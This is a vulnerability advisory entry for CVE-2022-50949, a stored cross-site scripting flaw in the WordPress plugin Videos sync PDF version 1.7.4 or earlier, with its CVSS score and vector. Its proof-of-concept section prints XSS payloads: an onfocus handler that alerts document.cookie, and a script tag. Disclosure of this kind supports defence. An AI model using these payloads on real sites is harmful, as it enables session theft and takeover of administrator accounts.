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CVE-2022-50949 CVSS 6.4 MEDIUM

CVE-2022-50949

Published: 2026-05-10 13:16:33
Last Modified: 2026-05-12 14:24:15

Description

WordPress Plugin Videos sync PDF 1.7.4 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by exploiting unsanitized mov, pdf, mp4, webm, and ogg parameters. Attackers can inject payloads like autofocus onfocus event handlers through the plugin options panel to execute arbitrary JavaScript when administrators view or edit video settings.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Videos sync PDF <= 1.7.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2022-50949 Stored XSS --> <!-- Inject the following payload into the 'mov', 'pdf', or 'mp4' parameter in the plugin options panel --> " autofocus onfocus="alert(document.cookie) <!-- Alternatively, a basic script tag might work if filtering is minimal --> <script>alert('XSS')</script>

References

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